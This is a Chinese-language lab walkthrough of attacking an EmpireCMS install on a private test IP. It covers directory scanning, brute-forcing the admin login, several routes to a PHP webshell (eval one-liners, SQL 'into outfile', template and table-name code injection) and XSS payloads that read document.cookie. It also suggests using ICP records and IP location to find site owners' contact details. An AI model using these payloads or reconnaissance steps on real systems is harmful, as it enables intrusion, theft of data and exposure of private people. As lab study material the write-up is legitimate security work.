通过站长之家,进行ip地址查询具体信息,可以看到这是私人的ip地址,并且是自己集成的靶场环境。
可以从各种途径上获取搭建网站所使用的脚本、类型、框架等信息,获取有关他们存在的漏洞信息
扫描后台敏感目录(dirsearch工具和御剑工具)
通过爆破网站目录可以看到一个非常有用的信息:EmpireCMS/robots.txt,这个文件是禁止爬虫的,这里面存放的全是网站的敏感信息,不妨试试
由此推进,访问/e/config这个目录,它一般是存放和配置文件有关的信息的,当我们尝试访问后可以发现,第一个是网站的主目录,第二个是网站的存储数据库等信息的文件
访问配置文件是空白,网站肯定是做了什么过滤,那么这里面的内容应该很重要
但是我们可以看到重要的信息,比如网站后台有关的admin目录都没有显示出来,从而推断EmpireCMS/e这个目录很敏感,就再次尝试对它目录扫描,然后几乎全部的敏感目录都爆出来了(状态码200的能够访问)
通过尝试,终于发现后台路径!(如果想知道更多目录内的信息还需要重复此类操作,不过在浪费这些时间之前,我们还是要一步步的来,拿到网站webshell为主)
后台界面
御剑爆破结果
随便输入的账户admin和密码123456,网页显示(没有注意后台错误5次限制登录,最主要的是有密保问题,如果设置了,还得另想办法。先按照正常的流程测试)
那么没办法,只能从两个payload选择集束炸弹模式
选择常用的字典进行爆破之后,从反馈的页面的发现,弱口令爆破是行不通的
解决方案:
①更改配置文件( /e/config/config.php)
loginnum :5,错误次数
logintime :60,锁定时间
②使用ip代理池(谨慎使用)
③社工手段
本题中选择更改配置文件绕过
则顺利爆破登录成功
成功登录网站后台!
点击网站的后台能够查到网站数据库信息
我们的一个目的已经达成
浏览器语法使用
site 指定域名
**inurl url中存在关键字的网页 **
**filetype 指定文件类型 **
**info 查找指定站点的基本信息 **
备案信息查询
网站底部有icp等内容,可以称为获取对方公司和法人的信息(手机号,微信号,邮箱等)
指纹识别
whatweb时kali当中的一款工具,可以更清楚的知道网站中可以为自己所用的信息
更改参数信息
参数设置页面,限制了很多可以文件上传的后缀名,很多可以上传文件的位置都做了严格的过滤,倘若更改限制后缀名那么相信木马文件也可以轻松上传
通过以上的信息收集,可以获取到对方搭建网站的脚本信息并由此去互联网上寻找到开源的漏洞信息,对方使用的是何种服务器,根据ip所在地可以查询到对方住址等,最后黑进对方后台可以看到对方数据库的信息,想辙将其导出,便可以获取到本网站的用户的重要信息等。
二、漏洞探测
设计工具:
端口扫描:nmap
敏感目录扫描:dirsearch,御剑
ip属地查询:站长之家,fofa等网页工具
网络抓包工具、弱口令爆破工具:Burpsuite
蚁剑:拿取网站webshell
火狐浏览器插件Wappalyzer:获取网站的数据库、框架、编程语言、操作系统等信息
SQLmap:对涉及含有sql注入的url进行扫描
**
三、漏洞利用,获取webshell
(一)代码执行
后台获取getshell
系统–》广利数据表–》导入数据表
本地准备一个1.php并改名为1.php.mod,用$进行转义,存放的数据表名需要填一个数据库内没有的表名(随便都行)
<?php file_put_contents("shell.php","<?php @eval(\$\_POST['SHELL']); ?>");?>
#file\_put\_contents() 函数:创建并写入一个新文件
file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
参数 描述
filename 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data 必需。规定要写入文件的数据。可以是字符串、数组或数据流。
flags 可选。规定如何打开/写入文件。可能的值:
FILE_USE_INCLUDE_PATH
FILE_APPEND
LOCK_EX
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。
尝试访问文件所在路径,用hackbar访问,可以看到出现PHP版本信息,那么证明此文件是被上传到服务器的了,最后可以进行蚁剑连接,拿取shell
蚁剑连接成功
此时可以遍历目录
这题用到代码审计
更改文件后缀和修改MIME以及增加文件头绕过方法都是行不通的,会出现下边的空白页面
获取shell
系统–》备份数据–》选择任意–》开始备份
简介:未对数据库表名做验证,通过修改数据库表名可以实现任意代码
漏洞位置:EmpireCMS/e/admin/ebak/phome.php
抓包修改tablename为phpinfo
放包后可以查看到php版本信息
下载下来观察里面的文件信息
readme.txt是没有什么重要信息的
而config.php当中含有写入的phpinfo()
浏览此文件所在的路径,看看会出现是否是PHP版本信息的页面,修改配置文件readme.txt改为config.php
这样是无法连接蚁剑的,尝试将tablename后改为一句话木马
当放包之后会出现表不存在等问题,不过不影响
hackbar后
同上的操作(或者也可以不执行这步,可以从链接当中知道文件的所在路径)
目录遍历,shell拿到了
代码注入获取shell
select … into outfile语句写入php一句话木马
select '<?php @eval($\_POST[LEOGG])?>' into outfile 'C:/phpStudy/PHPTutorial/WWW/EmpireCMS/e/admin/1.php'
出现下面这种错误明显是不能够成功的,它限制数据库的导入跟导出,判断secure_file_priv = NULL,所以当实战中出现在这种情况下是不能够用这种方法
添加上这句语句在做尝试
显示无法写入文件
漏洞复现文章出处:https://blog.csdn.net/m0_60716947/article/details/128354934
后台拿SHELL
模板–》公告模板–》JS调用登录模板
在此位置插入一句话木马,最终
源码当中的一句话木马已经被写入,证明肯定时写入到文件里面了
链接蚁剑,拿取shell
遍历目录
获取shell
栏目–》自定义页面–》管理自定义页面处可以写下getshell
成功在网站根目录写入webshell
连接蚁剑
目录遍历
(二)CSRF(跨站请求伪造)
1.在会员中心页面点击修改密码时抓包
将上述的html代码,编写成脚本放到phpstudy下的www目录
(三)XSS(跨站脚本攻击)
A、反射型:
通过目录扫描,我们可以知道很多存在漏洞的网页
1.漏洞代码位置:EmpireCMS/e/ViewImg/index.html
可以先创建栏目信息
然后点击图片
漏洞页面
#漏洞原理:url地址经过Request函数处理之后,
把url地址中的参数和值部分直接拼接当作a标签的href属性的值和img标签的src标签的值
代码分析
if(Request("url")!=0){
document.write(
"<a title=\"点击观看完整的图片...\" href=\""+Request("url")+"\" target=\"\_blank\">
<img src=\""+Request("url")+"\" border=0
class=\"picborder\" onmousewheel=\"return bbimg(this)\"
οnlοad=\"if(this.width>screen.width-500)this.style.width=screen.width-500;\">");
分析代码:通过window.location获取当前url地址,根据传入的url参数,获取当前参数的起始位置和结束位置。
代码没有对url的参数做过滤就直接拼接成a和img标签的属性的值,因此可以构造payload:? ?url=javascript:alert(/xss/)
例如,地址是:index.html?url=javascript:alert(document.cookie),经过Request函数处理就变成javascript:alert(document.cookie)
构造payload:
http://192.168.200.16/EmpireCMS/e/ViewImg/index.html?url=javascript:alert(document.cookie)
点击图片可以触发cookie,但是此漏洞我没有复现成功,是在控制器当中输入的javascript:alert(document.cookie)的指令
漏洞存在的文件是在/e/ViewImg/index.html。
分析代码:通过window.location获取当前url地址,根据传入的url参数,获取当前参数的起始位置和结束位置。
代码没有对url的参数做过滤就直接拼接成a和img标签的属性的值,因此可以构造payload:? ?url=javascript:alert(/xss/)
例如,地址是:index.html?url=javascript:alert(document.cookie),经过Request函数处理就变成javascript:alert(document.cookie)
案例:<script>alert(cmd)</script>
2.软件作者栏目,软件简介栏目两处存在跨站脚本攻击漏洞,前台此连接处显示漏洞
图片内的栏目信息全部都含有如上图的xss漏洞
3.京股票验证国内新闻栏目含有XSS漏洞,并且需要创建信的栏目才可以实现
4.信息栏目处,几乎每一个大栏目下的都含有XSS漏洞
5.经验证,在栏目信息下的所有大的栏目下都含有前台显示的XSS漏洞
6.再次处,插入几条xss语句就会显示几个弹窗,在SQL名称处含有一处XSS
B、存储型
1.漏洞出现的页面在/e/admin/openpage/AdminPage.php
源码:
访问显示页面非法来源
构造发现依然无效
http://192.168.200.16/empirecms/e/admin/openpage/AdminPage.php?mainfile=javascript:alert('xss')
别的页面url地址中都会存在hash参数,例如ehash_k3gQY=XJ8adxjZ1pt0wTdqmKO6,参数是随机生成的,如果缺少这个参数,会提示非法来源(都要使用)
重新构造payload,有效!
http://192.168.200.16/empirecms/e/admin/openpage/AdminPage.php?ehash\_k3gQY=XJ8adxjZ1pt0wTdqmKO6&mainfile=javascript:alert('xss')
mainfile参数:获取cookie
http://192.168.200.16/empirecms/e/admin/openpage/AdminPage.php?ehash\_k3gQY=XJ8adxjZ1pt0wTdqmKO6&mainfile=javascript:alert(document.cookie)
leftfile参数
http://192.168.200.16/EmpireCMS/e/admin/openpage/AdminPage.php?ehash\_xAg67=sKjkNY3V9KKhz7rFcbRC&leftfile=javascript:alert('xss')
而title参数,是无法显示出来页面信息的
http://192.168.200.16/EmpireCMS/e/admin/openpage/AdminPage.php?ehash\_xAg67=sKjkNY3V9KKhz7rFcbRC&title=javascript:alert(%27xss%27)